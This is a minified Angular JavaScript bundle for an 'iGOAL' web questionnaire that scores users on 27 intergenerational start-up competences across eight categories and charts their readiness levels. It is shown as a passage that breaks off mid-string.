qa(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,8,null,null,null,null,null,null,null)),(e()(),a.rb(1,0,null,null,3,"div",[["class","mat-form-field-outline"]],null,null,null,null,null)),(e()(),a.rb(2,0,null,null,0,"div",[["class","mat-form-field-outline-start"]],null,null,null,null,null)),(e()(),a.rb(3,0,null,null,0,"div",[["class","mat-form-field-outline-gap"]],null,null,null,null,null)),(e()(),a.rb(4,0,null,null,0,"div",[["class","mat-form-field-outline-end"]],null,null,null,null,null)),(e()(),a.rb(5,0,null,null,3,"div",[["class","mat-form-field-outline mat-form-field-outline-thick"]],null,null,null,null,null)),(e()(),a.rb(6,0,null,null,0,"div",[["class","mat-form-field-outline-start"]],null,null,null,null,null)),(e()(),a.rb(7,0,null,null,0,"div",[["class","mat-form-field-outline-gap"]],null,null,null,null,null)),(e()(),a.rb(8,0,null,null,0,"div",[["class","mat-form-field-outline-end"]],null,null,null,null,null))],null,null)}function Ba(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,1,"div",[["class","mat-form-field-prefix"]],null,null,null,null,null)),a.Cb(null,0)],null,null)}function Ga(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,3,null,null,null,null,null,null,null)),a.Cb(null,2),(e()(),a.rb(2,0,null,null,1,"span",[],null,null,null,null,null)),(e()(),a.Ib(3,null,["",""]))],null,(function(e,t){e(t,3,0,t.component._control.placeholder)}))}function Ja(e){return a.Jb(0,[a.Cb(null,3),(e()(),a.gb(0,null,null,0))],null,null)}function Ua(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,1,"span",[["aria-hidden","true"],["class","mat-placeholder-required mat-form-field-required-marker"]],null,null,null,null,null)),(e()(),a.Ib(-1,null,[" *"]))],null,null)}function $a(e){return a.Jb(0,[(e()(),a.rb(0,0,[[4,0],["label",1]],null,8,"label",[["class","mat-form-field-label"]],[[8,"id",0],[1,"for",0],[1,"aria-owns",0],[2,"mat-empty",null],[2,"mat-form-field-empty",null],[2,"mat-accent",null],[2,"mat-warn",null]],[[null,"cdkObserveContent"]],(function(e,t,n){var a=!0;return"cdkObserveContent"===t&&(a=!1!==e.component.updateOutlineGap()&&a),a}),null,null)),a.qb(1,16384,null,0,On.m,[],{ngSwitch:[0,"ngSwitch"]},null),a.qb(2,1196032,null,0,za.a,[za.b,a.k,a.x],{disabled:[0,"disabled"]},{event:"cdkObserveContent"}),(e()(),a.gb(16777216,null,null,1,null,Ga)),a.qb(4,278528,null,0,On.n,[a.N,a.K,On.m],{ngSwitchCase:[0,"ngSwitchCase"]},null),(e()(),a.gb(16777216,null,null,1,null,Ja)),a.qb(6,278528,null,0,On.n,[a.N,a.K,On.m],{ngSwitchCase:[0,"ngSwitchCase"]},null),(e()(),a.gb(16777216,null,null,1,null,Ua)),a.qb(8,16384,null,0,On.j,[a.N,a.K],{ngIf:[0,"ngIf"]},null)],(function(e,t){var n=t.component;e(t,1,0,n._hasLabel()),e(t,2,0,"outline"!=n.appearance),e(t,4,0,!1),e(t,6,0,!0),e(t,8,0,!n.hideRequiredMarker&&n._control.required&&!n._control.disabled)}),(function(e,t){var n=t.component;e(t,0,0,n._labelId,n._control.id,n._control.id,n._control.empty&&!n._shouldAlwaysFloat,n._control.empty&&!n._shouldAlwaysFloat,"accent"==n.color,"warn"==n.color)}))}function Ka(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,1,"div",[["class","mat-form-field-suffix"]],null,null,null,null,null)),a.Cb(null,4)],null,null)}function Za(e){return a.Jb(0,[(e()(),a.rb(0,0,[[1,0],["underline",1]],null,1,"div",[["class","mat-form-field-underline"]],null,null,null,null,null)),(e()(),a.rb(1,0,null,null,0,"span",[["class","mat-form-field-ripple"]],[[2,"mat-accent",null],[2,"mat-warn",null]],null,null,null,null))],null,(function(e,t){var n=t.component;e(t,1,0,"accent"==n.color,"warn"==n.color)}))}function Xa(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,1,"div",[],[[24,"@transitionMessages",0]],null,null,null,null)),a.Cb(null,5)],null,(function(e,t){e(t,0,0,t.component._subscriptAnimationState)}))}function Qa(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,1,"div",[["class","mat-hint"]],[[8,"id",0]],null,null,null,null)),(e()(),a.Ib(1,null,["",""]))],null,(function(e,t){var n=t.component;e(t,0,0,n._hintLabelId),e(t,1,0,n.hintLabel)}))}function er(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,5,"div",[["class","mat-form-field-hint-wrapper"]],[[24,"@transitionMessages",0]],null,null,null,null)),(e()(),a.gb(16777216,null,null,1,null,Qa)),a.qb(2,16384,null,0,On.j,[a.N,a.K],{ngIf:[0,"ngIf"]},null),a.Cb(null,6),(e()(),a.rb(4,0,null,null,0,"div",[["class","mat-form-field-hint-spacer"]],null,null,null,null,null)),a.Cb(null,7)],(function(e,t){e(t,2,0,t.component.hintLabel)}),(function(e,t){e(t,0,0,t.component._subscriptAnimationState)}))}function tr(e){return a.Jb(2,[a.Gb(671088640,1,{underlineRef:0}),a.Gb(402653184,2,{_connectionContainerRef:0}),a.Gb(671088640,3,{_inputContainerRef:0}),a.Gb(671088640,4,{_label:0}),(e()(),a.rb(4,0,null,null,20,"div",[["class","mat-form-field-wrapper"]],null,null,null,null,null)),(e()(),a.rb(5,0,[[2,0],["connectionContainer",1]],null,11,"div",[["class","mat-form-field-flex"]],null,[[null,"click"]],(function(e,t,n){var a=!0,r=e.component;return"click"===t&&(a=!1!==(r._control.onContainerClick&&r._control.onContainerClick(n))&&a),a}),null,null)),(e()(),a.gb(16777216,null,null,1,null,qa)),a.qb(7,16384,null,0,On.j,[a.N,a.K],{ngIf:[0,"ngIf"]},null),(e()(),a.gb(16777216,null,null,1,null,Ba)),a.qb(9,16384,null,0,On.j,[a.N,a.K],{ngIf:[0,"ngIf"]},null),(e()(),a.rb(10,0,[[3,0],["inputContainer",1]],null,4,"div",[["class","mat-form-field-infix"]],null,null,null,null,null)),a.Cb(null,1),(e()(),a.rb(12,0,null,null,2,"span",[["class","mat-form-field-label-wrapper"]],null,null,null,null,null)),(e()(),a.gb(16777216,null,null,1,null,$a)),a.qb(14,16384,null,0,On.j,[a.N,a.K],{ngIf:[0,"ngIf"]},null),(e()(),a.gb(16777216,null,null,1,null,Ka)),a.qb(16,16384,null,0,On.j,[a.N,a.K],{ngIf:[0,"ngIf"]},null),(e()(),a.gb(16777216,null,null,1,null,Za)),a.qb(18,16384,null,0,On.j,[a.N,a.K],{ngIf:[0,"ngIf"]},null),(e()(),a.rb(19,0,null,null,5,"div",[["class","mat-form-field-subscript-wrapper"]],null,null,null,null,null)),a.qb(20,16384,null,0,On.m,[],{ngSwitch:[0,"ngSwitch"]},null),(e()(),a.gb(16777216,null,null,1,null,Xa)),a.qb(22,278528,null,0,On.n,[a.N,a.K,On.m],{ngSwitchCase:[0,"ngSwitchCase"]},null),(e()(),a.gb(16777216,null,null,1,null,er)),a.qb(24,278528,null,0,On.n,[a.N,a.K,On.m],{ngSwitchCase:[0,"ngSwitchCase"]},null)],(function(e,t){var n=t.component;e(t,7,0,"outline"==n.appearance),e(t,9,0,n._prefixChildren.length),e(t,14,0,n._hasFloatingLabel()),e(t,16,0,n._suffixChildren.length),e(t,18,0,"outline"!=n.appearance),e(t,20,0,n._getDisplayedMessages()),e(t,22,0,"error"),e(t,24,0,"hint")}),null)}var nr=n("EY2u");n("3UWI");const ar=Object(An.f)({passive:!0});let rr=(()=>{class e{constructor(e,t){this._platform=e,this._ngZone=t,this._monitoredElements=new Map}monitor(e){if(!this._platform.isBrowser)return nr.a;const t=Object(_t.d)(e),n=this._monitoredElements.get(t);if(n)return n.subject.asObservable();const a=new Wn.a,r="cdk-text-field-autofilled",i=e=>{"cdk-text-field-autofill-start"!==e.animationName||t.classList.contains(r)?"cdk-text-field-autofill-end"===e.animationName&&t.classList.contains(r)&&(t.classList.remove(r),this._ngZone.run(()=>a.next({target:e.target,isAutofilled:!1}))):(t.classList.add(r),this._ngZone.run(()=>a.next({target:e.target,isAutofilled:!0})))};return this._ngZone.runOutsideAngular(()=>{t.addEventListener("animationstart",i,ar),t.classList.add("cdk-text-field-autofill-monitored")}),this._monitoredElements.set(t,{subject:a,unlisten:()=>{t.removeEventListener("animationstart",i,ar)}}),a.asObservable()}stopMonitoring(e){const t=Object(_t.d)(e),n=this._monitoredElements.get(t);n&&(n.unlisten(),n.subject.complete(),t.classList.remove("cdk-text-field-autofill-monitored"),t.classList.remove("cdk-text-field-autofilled"),this._monitoredElements.delete(t))}ngOnDestroy(){this._monitoredElements.forEach((e,t)=>this.stopMonitoring(t))}}return e.ngInjectableDef=Object(a.Nb)({factory:function(){return new e(Object(a.Ob)(An.a),Object(a.Ob)(a.x))},token:e,providedIn:"root"}),e})();class ir{}const sr=["button","checkbox","file","hidden","image","radio","range","reset","submit"];let or=0;class lr{constructor(e,t,n,a){this._defaultErrorStateMatcher=e,this._parentForm=t,this._parentFormGroup=n,this.ngControl=a}}const dr=Object(kn.k)(lr);class ur extends dr{constructor(e,t,n,a,r,i,s,o,l){super(i,a,r,n),this._elementRef=e,this._platform=t,this.ngControl=n,this._autofillMonitor=o,this._uid="mat-input-"+or++,this._isServer=!1,this._isNativeSelect=!1,this.focused=!1,this.stateChanges=new Wn.a,this.controlType="mat-input",this.autofilled=!1,this._disabled=!1,this._required=!1,this._type="text",this._readonly=!1,this._neverEmptyInputTypes=["date","datetime","datetime-local","month","time","week"].filter(e=>Object(An.e)().has(e));const d=this._elementRef.nativeElement;this._inputValueAccessor=s||d,this._previousNativeValue=this.value,this.id=this.id,t.IOS&&l.runOutsideAngular(()=>{e.nativeElement.addEventListener("keyup",e=>{let t=e.target;t.value||t.selectionStart||t.selectionEnd||(t.setSelectionRange(1,1),t.setSelectionRange(0,0))})}),this._isServer=!this._platform.isBrowser,this._isNativeSelect="select"===d.nodeName.toLowerCase(),this._isNativeSelect&&(this.controlType=d.multiple?"mat-native-select-multiple":"mat-native-select")}get disabled(){return this.ngControl&&null!==this.ngControl.disabled?this.ngControl.disabled:this._disabled}set disabled(e){this._disabled=Object(_t.b)(e),this.focused&&(this.focused=!1,this.stateChanges.next())}get id(){return this._id}set id(e){this._id=e||this._uid}get required(){return this._required}set required(e){this._required=Object(_t.b)(e)}get type(){return this._type}set type(e){this._type=e||"text",this._validateType(),!this._isTextarea()&&Object(An.e)().has(this._type)&&(this._elementRef.nativeElement.type=this._type)}get value(){return this._inputValueAccessor.value}set value(e){e!==this.value&&(this._inputValueAccessor.value=e,this.stateChanges.next())}get readonly(){return this._readonly}set readonly(e){this._readonly=Object(_t.b)(e)}ngOnInit(){this._platform.isBrowser&&this._autofillMonitor.monitor(this._elementRef.nativeElement).subscribe(e=>{this.autofilled=e.isAutofilled,this.stateChanges.next()})}ngOnChanges(){this.stateChanges.next()}ngOnDestroy(){this.stateChanges.complete(),this._platform.isBrowser&&this._autofillMonitor.stopMonitoring(this._elementRef.nativeElement)}ngDoCheck(){this.ngControl&&this.updateErrorState(),this._dirtyCheckNativeValue()}focus(e){this._elementRef.nativeElement.focus(e)}_focusChanged(e){e===this.focused||this.readonly&&e||(this.focused=e,this.stateChanges.next())}_onInput(){}_dirtyCheckNativeValue(){const e=this._elementRef.nativeElement.value;this._previousNativeValue!==e&&(this._previousNativeValue=e,this.stateChanges.next())}_validateType(){if(sr.indexOf(this._type)>-1)throw Error(`Input type "${this._type}" isn't supported by matInput.`)}_isNeverEmpty(){return this._neverEmptyInputTypes.indexOf(this._type)>-1}_isBadInput(){let e=this._elementRef.nativeElement.validity;return e&&e.badInput}_isTextarea(){return"textarea"===this._elementRef.nativeElement.nodeName.toLowerCase()}get empty(){return!(this._isNeverEmpty()||this._elementRef.nativeElement.value||this._isBadInput()||this.autofilled)}get shouldLabelFloat(){if(this._isNativeSelect){const e=this._elementRef.nativeElement,t=e.options[0];return this.focused||e.multiple||!this.empty||!!(e.selectedIndex>-1&&t&&t.label)}return this.focused||!this.empty}setDescribedByIds(e){this._ariaDescribedby=e.join(" ")}onContainerClick(){this.focused||this.focus()}}class cr{}var hr=n("lzlj"),mr=n("igqZ"),_r=n("qb46");class fr{}const pr=e=>{if(e)return Object.keys(e).reduce((t,n)=>{if(isNaN(Number(n))){const a=new fr;a.label=n.trim().replace(/([^a-zA-Z,])/g," $1").replace(/([A-Z])/g," $1").replace(/(?<=\d) (?=\d)/g,""),a.value=isNaN(Number(e[n]))?e[n]:Number(e[n]),t.push(a)}return t},[])};n("IheW");class gr{constructor(e){this.data=e}ngOnInit(){this.content=this.data.content}}const br=[{id:1,last:!1,form:"category1",category:"Growth Virtue",title:"Grit ",question:"Passion to strive for long-term goals."},{id:2,last:!1,form:"category1",category:"Growth Virtue",title:"Self-Determination ",question:"The ability to confidently make independent decisions."},{id:3,last:!1,form:"category1",category:"Growth Virtue",title:"Conscientiousness ",question:"Passion to keep work efficiently organized."},{id:4,last:!1,form:"category1",category:"Growth Virtue",title:"Intergenerational Reflection ",question:"Continuous learning through self- and other generational experiences."},{id:5,last:!1,form:"category1",category:"Growth Virtue",title:"Resilience ",question:"The ability to recover psychologically and emotionally after failures."},{id:6,last:!1,form:"category2",category:"Effectual Creativity",title:"Foresight Skill ",question:"The ability to validate factors influencing the formulation\n\t\tof innovative strategies for the future of the business."},{id:7,last:!1,form:"category2",category:"Effectual Creativity",title:"Global Design Thinking ",question:"The ability to systematically demonstrate global\n\t\tproducts/solutions based on local value/design."},{id:8,last:!1,form:"category3",category:"Technical Domain Specific",title:"Financial Negotiation ",question:"The ability to gain and leverage funding."},{id:9,last:!1,form:"category3",category:"Technical Domain Specific",title:"Business Storytelling ",question:"The ability to formulate an engaging narration of the desired business idea(s)."},{id:10,last:!1,form:"category3",category:"Technical Domain Specific",title:"Digital Information Fluency ",question:"The ability to analyze and optimize the use of digital information and technology."},{id:11,last:!1,form:"category3",category:"Technical Domain Specific",title:"Legal Analysis: ",question:"The ability to assess the potential value of intellectual property for innovation."},{id:12,last:!1,form:"category4",category:"Responsive Teamwork",title:"Intergenerational Orientation ",question:"Passion for empowering intergenerational cooperation in the innovation process."},{id:13,last:!1,form:"category4",category:"Responsive Teamwork",title:"Conflict Resolution ",question:"The ability to turn any potential for social conflict into an opportunity."},{id:14,last:!1,form:"category4",category:"Responsive Teamwork",title:"Active Listening ",question:"The ability to confirm understanding of what others express verbally."},{id:15,last:!1,form:"category5",category:"Value-based dynamic organizing",title:"Visioning ",question:"The ability to clearly pursue and coordinate team goals and standards.\n\t\tImagining the future of the business."},{id:16,last:!1,form:"category5",category:"Value-based dynamic organizing",title:"Personal Resource Allocation ",question:"The ability to optimally mobilize the use of personal resources."},{id:17,last:!1,form:"category5",category:"Value-based dynamic organizing",title:"Quality Orientation ",question:"Consistent focus on the quality to be achieved."},{id:18,last:!1,form:"category5",category:"Value-based dynamic organizing",title:"Decisiveness ",question:"The ability to quickly put calculated risks into actionable policies."},{id:19,last:!1,form:"category6",category:"Long-term oriented Networking",title:"Effective Communication ",question:"Ability to communicate comprehensively by all necessary means."},{id:20,last:!1,form:"category6",category:"Long-term oriented Networking",title:"Transparency ",question:"The ability to share clarified and updated information with others."},{id:21,last:!1,form:"category6",category:"Long-term oriented Networking",title:"Influencing ",question:"The ability to influence others in a particular perspective."},{id:22,last:!1,form:"category6",category:"Long-term oriented Networking",title:"Auxiliary Skill ",question:"The ability to support others in making progress."},{id:23,last:!1,form:"category7",category:"Cultural Empathy",title:"Pluralist Thinking ",question:"Ability to avoid a negative judgement on the heterogeneity of cultural and\n\t\tphysical functions."},{id:24,last:!1,form:"category7",category:"Cultural Empathy",title:"Digital Empathy ",question:"The ability to appropriately understand and express feeling or emotion in\n\t\tdigital environments."},{id:25,last:!1,form:"category8",category:"Intergenerational Safety Facilitation",title:"Intergenerational Flexibility ",question:"Open-mindedness, especially when working with the different generations and\n\t\twith new ideas."},{id:26,last:!1,form:"category8",category:"Intergenerational Safety Facilitation",title:"Intergenerational Leadership ",question:"Ability to actuate people from different generational background toward\n\t\tdesired destination coordinately."},{id:27,last:!0,form:"category8",category:"Intergenerational Safety Facilitation",title:"Intergenerational Digital Adaptability ",question:"Ability to optimise the use of digital media to fit into a new,\n\t\tintergenerational innovation space."}],yr=["Growth Virtues","Effectual Creativity","Technical Domain Spesific","Responsive Teamwork","Value-base dynamic organizing","Long-term oriented Networking","Cultural Empathy","Intergenerational safety facilitation"],Mr={responsive:!0,legend:{display:!1,position:"top"},scale:{ticks:{beginAtZero:!0,max:100,min:0,stepSize:20}},tooltips:{enabled:!0,callbacks:{title:function(e){return yr[e[0].index]},label:function(e,t){return t.datasets[e.datasetIndex].label+" : "+t.datasets[e.datasetIndex].data[e.index]}}}},vr={responsive:!0,maintainAspectRatio:!1,legend:{display:!1,position:"top"},scale:{ticks:{beginAtZero:!0,max:100,min:0,stepSize:20}},tooltips:{enabled:!0,callbacks:{title:function(e){return yr[e[0].index]},label:function(e,t){return t.datasets[e.datasetIndex].label+" : "+t.datasets[e.datasetIndex].data[e.index]}}}},Lr=["Growth Virtues","Effectual Creativity","Technical Domain Specific","Responsive Teamwork","Value-based dynamic organizing","Long-term oriented Networking","Cultural Empathy","Intergenerational safety facilitation"],kr={responsive:!0,maintainAspectRatio:!1,legend:{display:!1},scales:{xAxes:[{}],yAxes:[{ticks:{beginAtZero:!0,stepSize:1,max:3}}]},plugins:{datalabels:{anchor:"end",align:"end",display:!1}},tooltips:{enabled:!0,callbacks:{title:function(e){return Lr[e[0].index]},label:function(e,t){return t.datasets[e.datasetIndex].label+" : "+t.datasets[e.datasetIndex].data[e.index]}}}},wr=[{category:"category1",value:1},{category:"category2",value:3},{category:"category3",value:2},{category:"category4",value:1},{category:"category5",value:2},{category:"category6",value:2},{category:"category7",value:2},{category:"category8",value:1}],xr=[{category:"category1",value:1},{category:"category2",value:2},{category:"category3",value:2},{category:"category4",value:3},{category:"category5",value:1},{category:"category6",value:3},{category:"category7",value:1},{category:"category8",value:2}],Dr=[{category:"category1",value:1},{category:"category2",value:2},{category:"category3",value:2},{category:"category4",value:1},{category:"category5",value:2},{category:"category6",value:1},{category:"category7",value:2},{category:"category8",value:3}],Yr=[{category:"category1",value:1},{category:"category2",value:2},{category:"category3",value:2},{category:"category4",value:1},{category:"category5",value:2},{category:"category6",value:2},{category:"category7",value:3},{category:"category8",value:1}],Tr=["star","star_outline","star_outline","star_outline","star_outline"],Sr=["star","star","star_outline","star_outline","star_outline"],Cr=["star","star","star","star_outline","star_outline"],jr=["star","star","star","star","star_outline"],Or=["star","star","star","star","star"];var Hr=function(e){return e[e.None=0]="None",e[e.Basic=1]="Basic",e[e.Advanced=2]="Advanced",e[e.Expert=3]="Expert",e}({}),Ar=function(e){return e.BankingAndFinancial="banking",e.Education="education",e.Government="government",e.Healthcare="healthcare",e.Manufacturing="manufacturing",e.Retail="retail",e.TransportAndLogistics="transport",e.Other="other",e}({}),Pr=function(e){return e.category1="2.3",e.category2="1.5",e.category3="1.5",e.category4="1.3",e.category5="1.8",e.category6="1.3",e.category7="1.0",e.category8="1.5",e}({});class Fr{constructor(){this.score=0,this.stars=[],this.category1=null,this.category2=null,this.category3=null,this.category4=null,this.category5=null,this.category6=null,this.category7=null,this.category8=null,this.category1Ideation=null,this.category2Ideation=null,this.category3Ideation=null,this.category4Ideation=null,this.category5Ideation=null,this.category6Ideation=null,this.category7Ideation=null,this.category8Ideation=null,this.category1Matching=null,this.category2Matching=null,this.category3Matching=null,this.category4Matching=null,this.category5Matching=null,this.category6Matching=null,this.category7Matching=null,this.category8Matching=null,this.category1Design=null,this.category2Design=null,this.category3Design=null,this.category4Design=null,this.category5Design=null,this.category6Design=null,this.category7Design=null,this.category8Design=null,this.category1Commercial=null,this.category2Commercial=null,this.category3Commercial=null,this.category4Commercial=null,this.category5Commercial=null,this.category6Commercial=null,this.category7Commercial=null,this.category8Commercial=null,this.averageIdeation=null,this.averageMatching=null,this.averageDesign=null,this.averageCommercial=null,this.reports=[{category:"category1",label:"Growth Virtues",data:[]},{category:"category2",label:"Effectual Creativity",data:[]},{category:"category3",label:"Technical Domain Specific",data:[]},{category:"category4",label:"Responsive Teamwork",data:[]},{category:"category5",label:"Value-based dynamic organizing",data:[]},{category:"category6",label:"Long-term oriented Networking",data:[]},{category:"category7",label:"Cultural Empathy",data:[]},{category:"category8",label:"Intergenerational safety facilitation",data:[]}]}averageCalculation(e){const t=(e.reduce((e,t)=>e+t)/8*100).toFixed(2);return Number(t)}readinesScore(){wr.forEach((e,t)=>{const n=t+1,a=this["category"+n]/e.value,r=this["category"+n]/xr[t].value,i=this["category"+n]/Dr[t].value,s=this["category"+n]/Yr[t].value;this["category"+n+"Ideation"]=a<1?a:1,this["category"+n+"Matching"]=r<1?r:1,this["category"+n+"Design"]=i<1?i:1,this["category"+n+"Commercial"]=s<1?s:1,this.averageIdeation=this.averageCalculation(this.getIdeation()),this.averageMatching=this.averageCalculation(this.getMatching()),this.averageDesign=this.averageCalculation(this.getDesign()),this.averageCommercial=this.averageCalculation(this.getCommercial())})}getIdeation(){return[Number(parseFloat(String(this.category1Ideation)).toFixed(2)),Number(parseFloat(String(this.category2Ideation)).toFixed(2)),Number(parseFloat(String(this.category3Ideation)).toFixed(2)),Number(parseFloat(String(this.category4Ideation)).toFixed(2)),Number(parseFloat(String(this.category5Ideation)).toFixed(2)),Number(parseFloat(String(this.category6Ideation)).toFixed(2)),Number(parseFloat(String(this.category7Ideation)).toFixed(2)),Number(parseFloat(String(this.category8Ideation)).toFixed(2))]}getMatching(){return[Number(parseFloat(String(this.category1Matching)).toFixed(2)),Number(parseFloat(String(this.category2Matching)).toFixed(2)),Number(parseFloat(String(this.category3Matching)).toFixed(2)),Number(parseFloat(String(this.category4Matching)).toFixed(2)),Number(parseFloat(String(this.category5Matching)).toFixed(2)),Number(parseFloat(String(this.category6Matching)).toFixed(2)),Number(parseFloat(String(this.category7Matching)).toFixed(2)),Number(parseFloat(String(this.category8Matching)).toFixed(2))]}getDesign(){return[Number(parseFloat(String(this.category1Design)).toFixed(2)),Number(parseFloat(String(this.category2Design)).toFixed(2)),Number(parseFloat(String(this.category3Design)).toFixed(2)),Number(parseFloat(String(this.category4Design)).toFixed(2)),Number(parseFloat(String(this.category5Design)).toFixed(2)),Number(parseFloat(String(this.category6Design)).toFixed(2)),Number(parseFloat(String(this.category7Design)).toFixed(2)),Number(parseFloat(String(this.category8Design)).toFixed(2))]}getCommercial(){return[Number(parseFloat(String(this.category1Commercial)).toFixed(2)),Number(parseFloat(String(this.category2Commercial)).toFixed(2)),Number(parseFloat(String(this.category3Commercial)).toFixed(2)),Number(parseFloat(String(this.category4Commercial)).toFixed(2)),Number(parseFloat(String(this.category5Commercial)).toFixed(2)),Number(parseFloat(String(this.category6Commercial)).toFixed(2)),Number(parseFloat(String(this.category7Commercial)).toFixed(2)),Number(parseFloat(String(this.category8Commercial)).toFixed(2))]}analysisProcesses(){for(let e=0;e<4;e++){let t=null;t=0===e?wr:1===e?xr:2===e?Dr:Yr,this.reports[0].data.push(this.classificationText(t[0].value,this.category1)),this.reports[1].data.push(this.classificationText(t[1].value,this.category2)),this.reports[2].data.push(this.classificationText(t[2].value,this.category3)),this.reports[3].data.push(this.classificationText(t[3].value,this.category4)),this.reports[4].data.push(this.classificationText(t[4].value,this.category5)),this.reports[5].data.push(this.classificationText(t[5].value,this.category6)),this.reports[6].data.push(this.classificationText(t[6].value,this.category7)),this.reports[7].data.push(this.classificationText(t[7].value,this.category8))}}classificationText(e,t){let n=null;return n=t>=e||3===e&&t>=.83*3?"Ready":t>.66*e&&t<e?"Almost Ready":t>.32*e&&t<=.66*e?"Half Ready":"Unprepared",n}}class Ir{constructor(e,t){this.router=e,this.dialog=t,this.radarChartType="radar",this.barChartType="bar",this.barChartPlugins=[_r]}ngOnInit(){this.subscribers=[],this.isLast=!1,this.selectedStep=0,this.questionOption=br,this.dynHeight=200,this.dynBarHeight=140,this.answerOption=pr(Hr),this.industryOption=pr(Ar),this.assessment=new Fr,this.radarChartOptions=Mr,this.radarChartReportOptions=vr,this.radarChartLabels=yr,this.barChartOptions=kr,this.barChartLabels=Lr,this.radarChartData=[{data:[0,0,0,0,0,0,0,0],label:"iGOAL"}],this.barChartDataIdeation=[{data:[0,0,0,0,0,0,0,0],label:"Your Score"},{data:[1,3,2,1,2,2,2,1],label:"Minimum Requirement",type:"line"}],this.barChartDataMatching=[{data:[0,0,0,0,0,0,0,0],label:"Your Score"},{data:[1,2,2,3,1,3,1,2],label:"Minimum Requirement",type:"line"}],this.barChartDataDesign=[{data:[0,0,0,0,0,0,0,0],label:"Your Score"},{data:[1,2,2,1,2,1,2,3],label:"Minimum Requirement",type:"line"}],this.barChartDataCommercial=[{data:[0,0,0,0,0,0,0,0],label:"Your Score"},{data:[1,2,2,1,2,2,3,1],label:"Minimum Requirement",type:"line"}],this.initForm()}initForm(){this.assessmentForm=new rn({name:new an(null,Ot.required),email:new an(null,Ot.required),organization:new an(null,Ot.required),industry:new an(null,Ot.required),q1:new an(null,Ot.required),q2:new an(null,Ot.required),q3:new an(null,Ot.required),q4:new an(null,Ot.required),q5:new an(null,Ot.required),q6:new an(null,Ot.required),q7:new an(null,Ot.required),q8:new an(null,Ot.required),q9:new an(null,Ot.required),q10:new an(null,Ot.required),q11:new an(null,Ot.required),q12:new an(null,Ot.required),q13:new an(null,Ot.required),q14:new an(null,Ot.required),q15:new an(null,Ot.required),q16:new an(null,Ot.required),q17:new an(null,Ot.required),q18:new an(null,Ot.required),q19:new an(null,Ot.required),q20:new an(null,Ot.required),q21:new an(null,Ot.required),q22:new an(null,Ot.required),q23:new an(null,Ot.required),q24:new an(null,Ot.required),q25:new an(null,Ot.required),q26:new an(null,Ot.required),q27:new an(null,Ot.required)})}updateAverage(e){if(!e)return;const t=this.questionOption.filter(t=>t.category===e.category);if(t){const n=t.reduce((e,t)=>{if(null!==this.assessmentForm.get("q"+t.id).value){const n=this.assessmentForm.get("q"+t.id).value;e.push(n)}return e},[]);this.average(n,e.form,e.last)}}average(e,t,n){const a=e.reduce((e,t)=>e+t)/e.length;this.assessment[t]=a,this.calculateChart(),this.assessment.readinesScore(),n&&(this.assessment.analysisProcesses(),console.log(this.assessment.reports))}calculateChart(){const e=3*Number(parseFloat(Pr.category1).toFixed(2)),t=3*Number(parseFloat(Pr.category2).toFixed(2)),n=3*Number(parseFloat(Pr.category3).toFixed(2)),a=3*Number(parseFloat(Pr.category4).toFixed(2)),r=3*Number(parseFloat(Pr.category5).toFixed(2)),i=3*Number(parseFloat(Pr.category6).toFixed(2)),s=3*Number(parseFloat(Pr.category7).toFixed(2)),o=3*Number(parseFloat(Pr.category8).toFixed(2)),l=e+t+n+a+r+i+s+o,d=this.assessment.category1*Number(Pr.category1),u=this.assessment.category2*Number(Pr.category2),c=this.assessment.category3*Number(Pr.category3),h=this.assessment.category4*Number(Pr.category4),m=this.assessment.category5*Number(Pr.category5),_=this.assessment.category6*Number(Pr.category6),f=this.assessment.category7*Number(Pr.category7),p=this.assessment.category8*Number(Pr.category8),g=d+u+c+h+m+_+f+p,b=Number(d/e*100).toFixed(0),y=Number(u/t*100).toFixed(0),M=Number(c/n*100).toFixed(0),v=Number(h/a*100).toFixed(0),L=Number(m/r*100).toFixed(0),k=Number(_/i*100).toFixed(0),w=Number(f/s*100).toFixed(0),x=Number(p/o*100).toFixed(0);this.assessment.score=Number(g/l*100).toFixed(0),this.radarChartData=[{data:[Number(b),Number(y),Number(M),Number(v),Number(L),Number(k),Number(w),Number(x)],label:"iGOAL"}]}updateSelectedStep(e){this.selectedStep=e}lastStep(e){e&&(this.isLast=e,document.getElementById("btn-share").style.display="none",document.getElementById("btn-print").style.display="block",this.initStar())}showCompetency(e,t){this.competencyText(e,t),this.dialog.open(gr,{width:"500px",data:{content:this.content}}).afterClosed().subscribe()}competencyText(e,t){const n=this.questionOption.filter(t=>t.form==="category"+(1+e));if(n){let e=n[0].category+": </br><ul>";n.forEach(n=>{let a=t?" <i>Your self reflection score is <b>"+this.assessmentForm.get("q"+n.id).value+"</b></i> (0: none -> 3: expert)":"";e=e+"<li>"+n.title+": "+n.question+a+"</li>"}),this.content=e+"</br></ul>"}}initStar(){this.barChartDataIdeation[0].data=this.assessment.getIdeation(),this.barChartDataMatching[0].data=this.assessment.getMatching(),this.barChartDataDesign[0].data=this.assessment.getDesign(),this.barChartDataCommercial[0].data=this.assessment.getCommercial();const e=this.assessment.score;e>0&&e<=20?(this.assessment.classification="Novice",this.assessment.stars=Tr,this.assessment.text="\u201cYou are aware of information, ideas and situations related to the global\n\tinnovation of start-ups in intergenerational environments, but have not\n\tyet had the opportunity to practice it.\u201d"):e>20&&e<=40?(this.assessment.classification="Beginner",this.assessment.stars=Sr,this.assessment.text="\u201cYou have demonstrated basic knowledge of innovation in the iGOAL context\n\tand are thinking about how to develop it further. You respond and engage in\n\tdiscussions with others about iGOAL for startups.\u201d"):e>40&&e<60?(this.assessment.classification="Intermediete",this.assessment.stars=Cr,this.assessment.text="\u201cYour actions usually meet your expectations and those of others to develop start-ups\n\tin the iGOAL context. Improvements are still needed in some areas of competence,\n\tbut you put commitment and are on your way towards innovation with different generations at\n\tdifferent stages of global innovation. In this category, you can independently work for simple task,\n\tbut required supervisor for more complex tasks and condition.\u201d"):e>60&&e<80?(this.assessment.classification="Advanced",this.assessment.stars=jr,this.assessment.text="\u201cYou have accomplished the common objectives of global startups and are often applying\n\tintergenerational collaboration widely in the organizational context. for some competences,\n\tyou are also empowering others to innovate in a global and intergenerational context. in this category,\n\tyou can work toward internationalization your startups little to no supervisor.\u201d"):(this.assessment.classification="Expert",this.assessment.stars=Or,this.assessment.text="\u201cYou 